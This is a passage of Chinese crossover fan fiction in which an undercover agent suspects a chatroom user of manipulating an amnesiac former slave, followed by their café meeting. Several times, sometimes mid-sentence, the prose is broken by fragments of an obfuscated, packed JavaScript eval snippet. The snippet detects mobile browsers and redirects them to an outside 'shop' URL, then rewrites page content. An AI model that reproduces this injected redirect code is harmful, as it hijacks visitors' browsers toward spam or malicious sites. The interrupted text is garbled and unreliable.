安室透到底还是输在不够了解砂金这个人上,他没看出来砂金的幽默,只当真的存在“在问砂金奇怪问题的人”,而砂金口中的这个人,安室透也不会怀疑其实是“安室透”他本人, 那就只能是Silica。 至于真相嘛……至少现在,安室透还不知道砂金是能疯到把自己放赌盘上的那种家伙。 想了想,安室透没理会聊天室里Silica最后发来的“强牌慢打?还是底牌尽出?”的挑衅,尽量用这不多的接触分析出Silica的形象, “强牌慢打”,“Raise”,“加注”等等专业用语经常出现的场合……那些可都不是什么简单的地方,牌场?赌场?销金窟?看得出Silica很熟悉这些,应该是常年混际其中, 那些地方的确是个人员混杂、方便获取信息情报的好地方。 但叫做砂金的目标才获救不久,跟据警方情报上对方对常识的缺乏程度来看,砂金也不可能短短一两周的时间就深度接触到活跃在这些场合里的人, 就算是从前,砂金被前几任买家带去过这些场合……他也已经失忆、什么都不记得了,所以Silica一定是近期,在砂金获救后才主动找砂金互换了联系方式的, Silica一定就是砂金【加了不少人】中的一员。 再联想到班长在受害者保护监管报告上曾写过的,“疑似受到非法监护人影响,对带有博/彩性质的物品或行为有很强的好奇心”一条,安室透感觉自己抓到了真相, 不一定是潜意思受影响、失忆了还好奇这些东西,还有可能是被Silica这个人显而易见的赌徒风格带坏了啊! 砂金中的彩票也有很大问题, 来撸一边经过——砂金缺钱负债,明明是失忆状态却恰好对博/彩有了兴趣,又刚刚好买了十张彩票,再幸运的中了奖,奖金不多不少还正好够砂金还清负债、实现独立,然后从班长那里搬走…… 结果白天搬家,晚上Silica就有了砂金的详细地址。 巧合太多,就不像是巧合了。 那换个角度再撸一遍——Silica认识了在外找工作、想赚钱还债的砂金,交换了联系方式,然后Silica告诉了砂金一个来钱很快的“好法子”,激起了砂金的好奇心,于是又引导砂金去买了彩票, 奖池概率也不是不能黑幕的,所以Silica有意通过“彩票”这种正大光明、还没有后患之忧的方式给了砂金一笔钱,帮助砂金快速脱离了班长的监管范围,成功得到砂金的独居地址。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13437820|137997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 以上,逻辑就通顺的多了。唯一剩下的问题就是Silica为什么要“帮”砂金, 肯定不是因为和他的“比赛”,砂金中彩票的时间在他和Silica开始比赛之前,他们之间的比赛是因itf而起、仅用于“解闷”的小插曲, 就像安室透进这个聊天室不是为了和Silica你一言我一语的相互嘲讽,他们背后还有更重要的任务要完成。 安室透继续思考着,出院后的砂金很老实、并没有什么异常行为,多方医生确诊的情况下,假装失忆的可能性也极低,那问题就只能出在砂金失忆之前了, 往好一点的方向想, Silica有可能曾经在哪里认识过失忆前的砂金,也许两人曾是朋友、见不得挚友狼狈至此,也许只是萍水相逸、可怜砂金这个曾经的奴隶,所以善心大发帮了对方一把。 往糟糕一点的方向想, 砂金身上还牵扯着什么大案子和隐情,也许是当事人,也许是知情者……Silica接触砂金是为了把砂金骗出警方的保护范围,然后带走对方、或者干脆杀人灭囗。 从砂金至今不详的过往经历和Silica鼓动聊天室里的人去对砂金下手的言行来看,安室透个人猜测更偏向于糟糕一些的可能。 这一刻,安室透对赢下这场比赛的胜负心降了下去,如若猜测属实,这个聊天室也不是非待不可, 安室透本来就不想让组织招揽到itf这个黑客天才、为壮大组织势力添砖加瓦,现在正好有个合适的理由可以被踢出聊天室, 等琴酒上门找麻烦的时候还可以把Silica推出来当挡箭牌——安室透调查过博/彩店的所有人员和流水记录, 但都没有找到Silica暗中操作的马脚,想必对方和对方背后的势力也不是个省油的灯,这些足够向组织解释他这次为什么“失手”了。 安室透心里的算盘打得哗哗响,说不定,顺便还能借组织之手调查一波Silica呢。 15.第 15 章 唔,其实就算猜错了也没关系,只要Silica是个能“扛事”的就行,安室透心黑得发亮,祸水东引,琴酒不来找他的麻烦,那他就是赚的。 接下来,就是要尽量保证无辜人员的安全了。 …… ——安室透:看来砂金先生应该是遇到和我一样的麻烦了,我最近也总感觉有奇怪的人在盯着我…… 砂金微微皱眉,安室透发过来的信息有些出乎他的意外, 从安室透身上察觉到有些不对劲儿的砂金原本以为安室透也是聊天室里的一员,是因为看到了“大小姐”对他的“通缉令”才有意找上他的, 但看安室透这么说,对方好像是在找和自己一样的“受害人”? ——安室透:我询问过身边的朋友,他们没有察觉到异常,所以我想问题会不会出在我的呃……“特殊”上? ——安室透:很抱歉,我向你询问联系方式的时候存了些私心,无意冒犯到你,但我……哎,真的有些惶恐不安,失眠到睡不好觉啊。 安室透的解释似乎在肯定砂金的猜测。 摸了摸下巴,砂金分析了一下安室透的意思,安室透能有什么“特殊”的地方会让对方找上他? 那只能是两个人都是“混血儿”的特殊身份了。 所以安室透是察觉到有人在跟踪他,但找不到源头,正好又遇见他这个“混血儿”,病急乱投医、想问问他是不是也遇到了类似的事? 巧的有点离谱啊,朋友……砂金眨眨眼,秉着有问题就问的好习惯,敲下回复, ——砂金:所以,安室先生为什么会想到还会有和你一样……嗯,“好运”被盯上的人呢? 一般而言,不应该自认倒霉的吗? 安室透当然不会让自己留下这么大的漏洞把柄,在给砂金发消息的那一刻、就已经想好了理由, ——安室透:砂金先生应该是刚回国不久吧。 ——砂金:算是? ——安室透:两个多月前,米花发生多起人口失踪案和连环杀人案件,受害人多是年轻的男性混血儿,所以…… ——安室透:除了像我这样工作不方便的,就只有刚到米花不久、不熟悉情况的人还没有搬走了。 两个多月前……砂金沉默,这个他还真知道一点,毕竟他就是那个时候作为受害人被伊达航捡回去的, 不过因为科系主要负责的案件不同,隶属于强行犯搜查三系的伊达航只对杀人案件负责,失踪人口和诱拐绑架案件属于特殊犯罪搜查一系的调查范围, 缺人手时伊达航的确可以替其他科系的人跑个腿、帮点忙,比如飞车抢劫案时替抢劫犯罪搜查二系三系的同僚问个话、把人带回去接受调查之类的, 但涉及到重大案件,伊达航也没有办法随意插手别系的事宜,因此砂金也没怎么听伊达航说过还有人口失踪案件——也有可能伊达航是怕砂金这个受害人有心理压力,所以故意没说? 难怪伊达警官没事就加班,天天绕着米花到处巡逻。 总之,安室透因为这件事来找他,并没有什么可疑的问题。 ——砂金:可我听说那个连环杀手不是已经畏罪自尽了吗?近期也没有再发生失踪案件。 ——安室透:事实如此,但谁知道杀人的和绑架的是不是同一个人?万一那伙人又卷土重来了呢? 想到失忆之后和一张白纸没什么两样,极大可能正被Silica诱骗的可怜目标,安室透好心地打上字, ——安室透:砂金先生你也要提高警惕,注意保护好个人隐私,再有问你奇怪问题的人,可以报警处理。 提醒完砂金,安室透转头就对着Silica不客气地怼了回去, 才把自己隐私抛出去了的砂金看到安室透的短信,也下意识抬头看了看电脑屏幕,Kentucky.B刚好回话了, ——Kentucky.B:呵呵……我只是在思考,我是否应该在目标的档案里加上一句“目标拥有一个名叫Silica的暗恋者”罢了, ——Kentucky.B:跟据你的举证,我完全有理由怀疑你就是“暗恋”目标的变态痴汉。 ——Kentucky.B:不然无法解释,你为什么连目标的内衣是什么颜色这种事都了如指掌。 ……Kentucky.B是被他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13478438|137997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气疯了吗?砂金脸上露出丝茫然,怎么胡乱出牌?他还没“大方”到把这种隐私告诉别人啊! ——Silica:我并没有说过这种情报,请不要擅自贷款: ) ——Kentucky.B:那真是抱歉,我还以为这种“小问题”,你肯定会知道答案呢~ ——Silica:所以你这是在问我要答案?你对目标的……这么感兴趣? ——Kentucky.B:所以你知道吗? ——Silica:…… 砂金意外地与被禁言的大小姐有了同感……Kentucky.B的这张嘴,是真的好欠啊。 于是,砂金再次低下头看手机,把kentucky.B的名字隐了去,简单的概括道, ——砂金:如果有人在问我的内衣是什么颜色……像这种奇怪的问题,我需要报警吗? 青筋一跳,安室透一把将鼠标握得卡卡响,抬头、电脑上是Silica意味不明的省略号,低头、手机上是可怜受害人的疑问,安室透咬牙切齿, 他只是为了再次确认两个人相互认识的关系,大胆试探了一下, 结果Silica那个混蛋是真敢问啊! 砂金从失忆到现在才苏醒没一个月,这明晃晃的还是个孩子! …… ——Kentucky.B:省略号是在默认吗,看来我没看错人,变态: ) ——Silica:朋友,我想,我可以把你这当做是赢不过我的恼羞成怒? ——Kentucky.B:@itf 裁判先生,我觉得让我一个正常人和一个变态比赛,是一种很不公平的行为。 …… ——安室透:把那个变态拉黑,马上报警!!! 这个反应,他应该是多虑了,安室透和Kentucky.B同时找上他一事,果然只是巧合吧? 还不知道自己在安室透心里的形象、已经从可怜的受害人变成可怜还容易受骗的“孩子”的砂金想到,如果Kentucky.B和安室透是同一个人, Kentucky.B总不致于自己骂自己是变态吧。 16.第 16 章 砂金和安室透从某种程度上而言,是完全相反的两类人——一个是和琴酒不相上下的多疑症患者,简简单单的问题都恨不得列出ABCDEFG种可能性分析, 安室透不信任“巧合”, 卧底这类人的通病,多作点准备、多思考些可能并没有坏处,想少了反而一不小心、就会落个命丧黄泉的下场。 另一个嘛,从不信任缜密的计算,砂金的人生就是由大大小小的“巧合性”组成的,但凡少一个“巧合”、也许砂金早就在某个角落里静静地死去了, 所以砂金很自然地就接受了安室透口中那个“混血儿失踪案件”的借口,安室透这个人对他另有目的也没什么大不了的,反正都是要命的案子,多一件少一件并没有区别, 而且就目前看来,安室透对他没有恶意。 ……不过报警还是算了,一报警、那伊达警官那边肯定就瞒不住了。 虽说砂金不喜欢严紧的计划,但也没有把自己的前期铺垫全掀了、然后做白工的特殊爱好啊! 基于以上原因,砂金只得硬着头皮扮演一个“天真”的“受害人”,替Kentucky.B说好话, ——砂金:安室先生,也许是有些误会吧,虽然问的问题有些奇怪,但他应该只是想多了解我一点,他人不坏。 打完字,砂金都觉得自己“蠢”得有些牙疼,放在拉帝奥教授那里,绝对可以收获一个粉笔头、外加“负分、滚!”的评价。 对面的安室透也着实无言了好一阵子,正在输入中的提示闪了好一阵子,安室透默默地删掉“知人知面不知心”的劝告, 他和砂金的关系还没有好到可以对“砂金的朋友”评头论足的程度,再劝就有些越界了,说不准还会起反作用。 ——安室透:砂金先生心中有数便好,我也会多注意我身边的情况、有什么发现都会及时告诉你。 当然,砂金的形象也在安室透心里更加立体了……这是哪里来的、被人卖了还在替人家数钱的傻白甜??? ——砂金:好的,不介意的话,我们白天波洛咖啡厅见,到时再详聊吧。 ——安室透:没问题,顺便一提、睡前一杯牛奶,可以改善一些睡眠质量,砂金先生不妨试试效果。 砂金对于安室透竟然注意到了他这么晚还没休息、可能也在失眠的小细节一事,回馈了一个友好的态度, ——砂金:我会的、朋友,祝愿你今夜摆脱焦躁与不安,拥有个甜蜜宁和的美梦。 接着继续回应着Kentucky.B, ——Silica:@itf 裁判先生请您明鉴呀,Kentucky.B他这是对我赤/裸裸的污蔑啊~ 幽幽的屏幕萤光下,安室透刚因为砂金的话而舒展的眉头再次狠狠地一皱, ——安室透:也祝愿你晚安好梦。 ——Kentucky.B:@itf 我相信裁判先生会是个明察秋毫的聪明人。 嗡嗡一声,砂金和安室透电脑上的窗口同时震动了一下,两条提示出现在了最新消息的下方,同时还有itf的一句留言, [管理员itf已将Silica禁言一天] [管理员itf已将Kentucky.B禁言一天] ——itf:滚。 …… Kentucky.B和Silica的首次对决最终以两人双双禁言、Silica暂时领先一分的结局拉下了维幕,两人彼此间也因此有了个初步的认识, 安室透虽然目的可能不纯,但人还挺不错的,砂金想到,至于Kentucky.B…… 那就是个混蛋。 砂金虽然有些过于纯良,但也是个好孩子,安室透想到,至于Silica…… 那就是个变态。 —————————— 第二日,或许是因为头天睡得太晚,砂金再睁眼的时候已经日悬当空的中午了。 还好安室先生很体贴的没有约定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13489625|137997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见面的时间,他可以放心地睡个自然醒,砂金打了个哈欠下床,却差点被挤掉地上的枕头绊倒, 抱枕会不会多了点? 一闪而过的念头很快被砂金打散,随手捡起枕头堆回到床上, 哪里多了? 一点也不多! 空旷的别墅里安静地只剩下砂金的脚步声,砂金先去儿童房看了看,卡卡瓦夏已经不在了,估计又被「砂金」那个不安分的家伙带去哪里玩了吧? 然后是按部就班的洗漱、换药……嗯??? 手下完好的皮肤猛得让砂金打了个激灵,这下砂金彻底醒困了,想起来的第一件事是打开手机看日历, 时间……又一次发生了错乱,砂金记得昨天是2月11号,现在就已经是5月12号了, 砂金翻回了昨天的聊天记录,时间显示却是5月11号,中间莫名其妙的快进又消失了整整三个月的时间。 嗯,好吧,反正伤已经在消失的这段时间里长好了,稳赚不赔!砂金可没有什么刨根问底的科研探究精神,那是属于奇物研究员的工作, 果断把绷带一丢,砂金拉开昨天……呃,也许是三个月前的昨天刚填满的衣柜,开始精挑细选起来, 砂金对只见过一次面的胜村……的那一身重金属朋克风格的衣服挺感兴趣的,不过之前伤没好、不方便穿装饰太多的衣服,会磕碰到伤口,现在就没有这个顾虑了。 选好衣服,换好造型,砂金对镜子里全新的自己十分满意!顺手把卡在后颈有些略长了的发尾撩出来,目光触及到脖子的位置时微微一顿, 没有了纱布绷带的遮掩,那一串商品编码格外显眼。 要不要……砂金看着镜子,手指摸上那一块皮肤,找个创口贴遮上? 从前他曾是奴隶的身份众所周知,遮不遮没什么意义,现在……想到娜塔莉夫人每次看到它都是一副难过怜惜的神情,砂金竟然有些犹豫了, 这样子优柔寡断得可不像是“砂金”了啊。 17.第 17 章 “安室先生,这边我来收拾就好!” 榎本梓眼急手快地抢过了安室透手里的抹布,空着的手推着安室透往空桌子前走,“你坐着休息一会儿吧,今天已经说好了要请假的、还总麻烦你搭手,那多不好意思啊!” 安室透失笑了一声,“左右我现在也没事做,不麻烦的……” 因为不知道砂金几点会来找他,安室透一早就向咖啡厅老板请了一整天的假,准备空出时间、随时等待对方,等待过程中无事可做的安室透顺便就又帮了榎本梓一点小忙, 都是在咖啡厅工作的同事,自己请了假却什么事都不做、也不下班走人,就待在咖啡厅看同事因为少了个人手而忙到起飞……那的确有些不大好看, 不知道的还以为他这是在故意霸凌同事呢。 也就小梓小姐人好心善,换了个小心眼的,这会儿早给老板告了好几条状了。 榎本梓也有些费解一向靠谱的安室先生,怎么这次会粗心到这种程度,“安室先生下次可别忘了和朋友约定一个具体点的时间,一直等着也不是办法啊。” 事实上,安室透是故意的……失眠的人想睡好一觉并不容易,鉴于他们凌晨聊的都挺晚的,安室透并不打算让砂金在补觉的时候还要在意着点、不能睡过失约。 “朋友,听起来我好像做错了什么……” 和叮叮当当的门铃声同时响起的是一道年轻清朗的声音, 安室透的记忆力很好,所以哪怕对话不多又时隔了一天,安室透依旧听出了那道耳熟的声音属于谁——苦等的砂金终于到了。 “当然没有,”安室透下意识反驳,回头看向来人,“是我疏忽大意……” 未尽的声音戛然而止, 安室透的记忆力很好,所以…… 紧身的黑色无袖衬衣包裹着来人略显单薄的身体,扣到顶代表禁欲的领口却被一对夸张但做工优良的骷髅领针束缚着, 明明更常出现在正装上搭配领结的配饰因为独特的造型和自领口延伸到外衣上的锁链设计而显得狂狷洒脱, 外衣半皮革半牛仔皮拼接的夹克设计更是巧妙,夹克肩颈宽大的根本挂不住肩膀,只能在层层的锁链、别针等等金属装饰的连接下半搭在臂弯上,肩膀到手臂处的皮肤更是直接暴露在空气中, 下身化繁为简的牛仔裤更突出了上身的造型——宽大松垮的外套,紧贴修饰线条的衬衣,耀眼闪光的装饰,还有白皙的皮肤和深黑色系皮料的极致撞色……张扬到了极点, 这身打扮的主人更是有着一张非常漂亮、完全不会被繁琐的装饰衣着压过风头的脸庞和眼睛, 随此之外,不管是灿烂的、半扎成低垂狼尾的金发,鬓角别着的细长发卡,耳垂的亮色耳钉,还是脖颈处设计感十足的条形纹身,每一处都明艳得亮眼, 但是…… 眼角的肌肉微微抽动了一下,安室透心底冒出了一个问号, 这家伙是……谁? 砂金??? “嗨~安室先生,久等了真是抱歉,”砂金推门而入,很得意地转了一圈、展示自己的新行头,“尝试了一下新风格,感觉还不错吧?” 安室透僵硬地发现,砂金竟然还穿了双小高跟的皮靴,“……很好看。” 的确很好看, 砂金好像知道自己很漂亮,也知道怎么展示自己,非传统的小众服饰装扮穿在身上并没有显得违和丑陋,反而很有特殊的个性风格和时尚感。 但这与安室透对砂金的心理形象、以及班长在报告里描述的那个可怜又懂事的“孩子”差得太多了, 昨天还是个很有礼貌、举止得当、穿着也很简朴的年轻人,网上聊天的时候更感觉对方是个单纯好骗的乖乖仔, 结果今天一整个变身“叛逆”的个性少年了,安室透很难不愣神——哪怕安室透早就在对方的购物清单上知晓对方买过这些东西,也没想到砂金会这么快就穿上了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13509078|137997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身。 想着,向一旁的榎本梓要过两杯咖啡外加两份甜点的安室透、引着砂金到人少的桌前落座,半试探半随意地问道,“没想到砂金先生你原来喜欢这种风格啊,之前倒是没看出来。” 砂金也随口回答道,“见我一个朋友穿过,所以想着也试一下,事实证明我的审美还是很不错的。” 砂金说的是那个勾肩搭背、装饰还戳到他伤口的胜村,但进了安室透的耳朵…… Silica那个变态混蛋,只会带坏小孩!安室透表面上礼貌微笑,心下已经在骂人了,不然寄宿在班长家的时候、砂金还是个好孩子,怎么一搬走就变样了呢! 不过现在也不是计较砂金穿衣风格的时候,安室透掏出带来的一些资料推到了砂金的面前,“先看看这个吧,是之前案件的一些报道。” 不事先了解一些的话,沟通与谈话也无从下手——总不能靠安室透一个人进行灌输,砂金需要有自己的见解和看法。 仗着砂金失忆、还是个“不足月的婴儿”的特殊情况,诱拐对方、强行在一张白纸上灌输自己的喜好和认识……那是Silica那个混蛋才干得出的缺德事。 砂金再次感概了一下安室透的贴心,打开文件一份份地看起报纸新闻来,安室透安静地等在一边,品着咖啡。 安室透从来不无的放矢,混血失踪案确有此事,并且很大可能……凶手会卷土重来,并且盯上砂金。 根据安室透的调查,聊天室中的“D”很大可能就是相关案件的重要嫌疑犯,从聊天记录也能知道,“D”向“大小姐”要了砂金的照片,目的是为了什么、可想而知。 聊天室里鱼龙混杂,除此之外发生的很多案件都可以和那里的人挂上钩,这里俨然已经成了各种犯罪滋生的温床,安室透潜伏其中也有了日子了,但还是没有搞懂itf建立这么一个平台到底是有何目的, 总不能是为“广大未成年不良团体”提供就业机会吧? 18.第 18 章 itf包不包工作分配……安室透不清楚,但他很乐意为失足青年们包个铁饭碗。 一直盯着别人的脸看是一种很不礼貌的行为,这次安室透走神间的目光习惯性下移、落在砂金的脖颈处,不自主的就定在了那条纹身刺青上, 安室透在报告里见过不止一次了,但那和亲眼看到的感觉不一样, 照片里的纹身不会随着呼吸与脉搏轻微地起伏着,不会在彰显着顽强生命力的同时又宣告着生命的易碎。 “怎么了?”砂金对人的视线很敏感,五根手指戴了六杖形状各异的戒指的手掌摸上了颈侧,“很好奇这个?” 注意到他伤好的太快了,还是单纯认出了纹身的含义? 安室透摇摇头,只笑道,“和你衣服的风格很搭。” 好吧,砂金有点无趣,果然还是只有他一个人能察觉到那个离谱的时间法则。 Silica还算做了件好事,安室透改变了想法,这一身重金属朋克风格的特殊打扮十分吸睛,脖上的纹身反倒像是和服装搭配的特殊设计了, 不仔细看、看不出来变型之后的“slave”字样,就算看出来了,也只会当做是个性少年的叛逆行为,而不会联想到身后血淋淋的真相和砂金真正的经历。 这么想来,失忆对这个孩子而言也挺好的,砂金能这么大大方方的把纹身露出来、不受过去的影响…… 只是,安室透心下有点担心等砂金日后知道“slave”这个单词的意思时,会不会再受到刺激。 砂金倒没有安室透想的那么多,没遮上纹身是因为砂金突然想起来、他又不是去见娜塔莉夫人的,纠结那么多做什么? 更不用担心受不受“刺激”,娜塔莉夫人和伊达警官成婚后,就从北海道搬到了米花、在帝丹中学任教外语,那26个字母砂金在学五十音的时候就顺便认完了,后面的自学也不难, 砂金可以推倒所有筹码,然后发音标准地来一句“All in”! 和赌沾点边的东西,砂金学的都挺快的。 对两个世界恰好撞了同一个单词同一个意思的巧合,砂金没什么特殊反应,用他的话说就是…… “命中注定的奴隶、命运的奴隶?真不错啊,继同谐令使之后,我还有望竞争一下终末令使之位。” 公司关于星核猎手追奉的星神极大可能是「末王」的猜测流传已久,自称“命运的奴隶”的艾利欧是终末令使的可能性并不低。 真不错啊,哈哈哈,好一个 ……地狱笑话。 【你看我说什么来着?】「砂金」对着怀里的卡卡瓦夏咬耳朵,【他真的很懂怎么让别人生气,不怪我凶他。】 听不清「砂金」和卡卡瓦夏在说什么、但知道「砂金」肯定没在说好话的砂金直接忽视掉出现在安室透脑袋顶上,飘来飘去的那一大一小,继续看资料, 失踪的人如安室透所言、都是些长相不错的混血儿,部分失踪者有在事发前也和亲人朋友说过好像有人在跟踪之类的情况,这一点和安室透的经历正好相符。 这一下,换砂金抬起头、若有所思地盯着安室透看了。 安室透:“……怎么了?”突然有一种风水轮流转的感觉。 “我长得也不差吧,这双眼睛可是稀有货,”砂金对自己的相貌很有自信,所以真心感到费解,“可我怎么没有感觉到有人也想绑了我呢?” 怎么没有?安室透心里一梗,光就今天上午他收到的消息来看,守在你家附近的便衣公安就已经抓到两个心怀鬼胎的家伙了,这还仅仅是你地址泄露后的第一天! 不过那两个家伙都不是“D”的人,应该只是在聊天室里被鬼迷了心窍、不长脑子硬撞上来的,等这塘池水浑起来、那些“大鱼”们才会浮出水面。 一手支起脑袋,砂金还在自说自话,“难道……我没有安室先生你这款的行情好?” 眼皮子连着嘴角一起抽动,安室透咳了一声差点被咖啡呛到,“不…咳咳、砂金先生请不要说笑了……” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13529193|137997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >不要摆出一副在认真思考这种问题的表情啊!安室透的“砂金乖宝宝牌”滤镜好像更碎了,这孩子知道自己在说什么吗?! 卡卡瓦夏趴在「砂金」身上,凑到「砂金」耳朵边小声嘀咕,【虽然我听不太懂,但你说得没错。】 砂金走神一秒——卡卡瓦夏什么时候和「砂金」这么亲近了? “就当是说笑好了,朋友,”砂金没和安室透争辩自己的真情实感,话题转到了正事上,“安室先生有没有报警求助之类的?” “没有,”安室透似作苦恼地道,“我没有证据,所以只和朋友说过,但他们觉得我可能只是因为案件的事有些太敏感和焦虑了。” “砂金先生你是少有的相信我的人。” 在恰当的时机适当的示好以及示弱,主动交付信任,有利于快速拉近人和人之间的关系——这是社会行为学的必修内容, 很巧,砂金也学过这门课。 “因为受到威胁的不是他们,所以不上心吧,”砂金放下文件,拿起小勺子,挖了口小蛋糕,“坦白说,我前段时间出了点事、不小心失忆了,多亏了警官们的好心照顾才活下来,” 还没用餐的砂金给自己垫了点肚子,说道,“所以我也没有什么亲近的朋友,能认识安室先生这样的人、也是我的荣幸,” 这蛋糕还挺好吃的,等下再打包两个作晚饭吧, “如果不介意,我很愿意听安室先生倾诉一些烦恼。” 安室透既感动、又为戳到了砂金伤口而深感歉意,“砂金先生遇到烦恼的话也可以尽管找我。” …… 你一言我一语,蛋糕和咖啡的分量在一口一口减少,不管两个人心里在盘算什么,表面上聊得还是很投缘、一副相见恨晚的感觉,连礼貌的称呼都直接换成了名字。 就是……安室透放下空了的咖啡杯,砂金推开空了的蛋糕碟, 砂金/安室透:为什么和安室透/砂金聊天,会有一种重回公司/公安上社交培训实践课的错觉? 19.第 19 章 也许……不是错觉? 整场对话过分的“完美”了,该松的时候松、该紧的时候紧,有让步但不会到讨好的地步,有意见相左但又不会引起反感,完美地可以写进教科书里当典型范例。 安室透感觉到不对劲儿, 安室透仔细分析, 安室透恍然大悟, 砂金的学习能力很强,又正好在接受心理治疗,所以是在和心理医生交流的时候,学会了一些小技巧? 心理医生的确是个很神奇的角色,他可以成为患者最信任的人、被患者倾诉一切,也可以成为患者最不信的人、被患者忌惮万千, 如何更可能地和患者保持一个健康的医患关系也是心理医生的必修课。 安室透找到了一个合理的答案,而砂金……他根本不在意“巧合”。 “今天就聊到这吧,”砂金主动结束了话题,并打算下午回家的时候再打包蛋糕带走、到时现做现吃应该比提早打包味道要好, 安室透思考的问题在砂金这里,还没有蛋糕提前做好会不会变味来得重要, “我还要去赚点钱,钱这东西花得可真快啊……” 更没有砂金之后打算做的事重要。 这点安室透很理解,受到伤害的代偿行为让砂金偏爱于一切昂贵的东西,就现在砂金身上这一身衣服都不便宜,钱花得不快才是怪事, “关于打工兼职我还是有些门道的,需要我推荐一下吗?”安室透主要还是怕砂金又被Silica拐去做什么危险的工作,“有些老板好说话,坐班轻松,工资开得也高。” 面对安室透投来的善意,砂金色彩炫丽的眼睛里浮现出一丝疑惑,“为什么要打工上班?” 安室透灰紫色眼睛里的疑惑比砂金更多,“呃……不上班哪里来的钱?” 砂金他……安室透表情渐渐凝重,砂金他不会是误入什么“歧途”了吧?! “当然是去买彩票啊,”砂金理所当然地道,“奖池里不都是钱吗。” 他现在可不是当初那个要靠发传单挣钱的砂金了!感谢伊达警官的身份证明,伊达警官万岁! 安室透:“……买、买什么?” 砂金好心重复:“彩票。” 安室透:“……”那个叫彩票,不叫提款机。 砂金:“安室?” 安室透:“……没事,你去吧。” 都怪Silica那个混蛋! 安室透微笑,心底的小人正在暴打脑门上贴着“Silica”的小黑,不是他的话,砂金怎么会形成买彩票就一定会中大奖的错误观念和不愿脚踏实地努力的幻想!!! 安室透此时有些糟心,Silica预想过会有这个结果吗?准没准备做一下“售后服务”?要是砂金这次因为没人为他搞黑幕而没能中奖、会不会很受打击? 万一心理状态因此更糟糕了怎么办? 左思右想,安室透准备让公安那边的技术部门盯紧一点,Silica再次出手的话就试试能不能抓住Silica的马脚,要是Silica没有插手…… 就要通知班长过来安慰一下幻想破灭的“小孩”了。 砂金大概猜得出安室透在心里吐槽什么,无非就是中不了奖又没有钱拿之类,要不是……砂金还想更直白一点,说他想去赌场玩玩, 那样的话,安室透的表情应该会更有趣。 【恶趣味的家伙,】「砂金」捂着卡卡瓦夏的耳朵,“苦口婆心”地道,【好孩子可千万别学他。】 卡卡瓦夏乖巧点头,【好的!】 砂金:……之前就想问了,你俩怎么回事??? 看过去的自己和差点弄死自己的“同谐的新生儿”这么亲密,砂金总觉得哪里有点问题, 看来下次还是不能让「砂金」去哄卡卡瓦夏睡觉了,「砂金」这家伙绝对是属“人贩子”的。 正想着,走出咖啡厅还没开始向博/彩店迈出脚步的砂金突然收到了伊达航的电话, 因为不是第一次接到娜塔莉夫人和伊达警官的“查岗”电话了,砂金习惯性地开口就道,“我现在在波洛咖啡厅附近,已经吃过饭了,药也按时吃了,没有遇见什么危险、我很安全,还交到了新朋友,” “有机会会介绍你们认识,对了、我买的一些小礼物应该快寄到了,要记得去拿哦!” …… “好的,过两天、心理医生那也记得去复检一下,一个人生活要多注意点,有困难别一个人憋着,”伊达航握着电话,习惯性地一一应下,“娜塔莉也很想你,礼物不需要太贵、有空多回来看看她……” 警视厅里会话厅中,工藤新一一脸无语地注视着膀大腰粗的警官先生在接通电话的那一刻、瞬间化身“男妈妈”开始操操心心, “咳咳!”工藤新一干咳两下,低声提醒道,“伊达警官!先说正事……” “啊!对,正事要紧,” 伊达航尴尬地目光神游了一下,操心砂金操太多了、都养出条件反射了,随后对砂金温声道,“又要麻烦你来警视厅一趟了,我会在这边等你……不用担心,没什么事,只是有点情况想找你了解一下。” 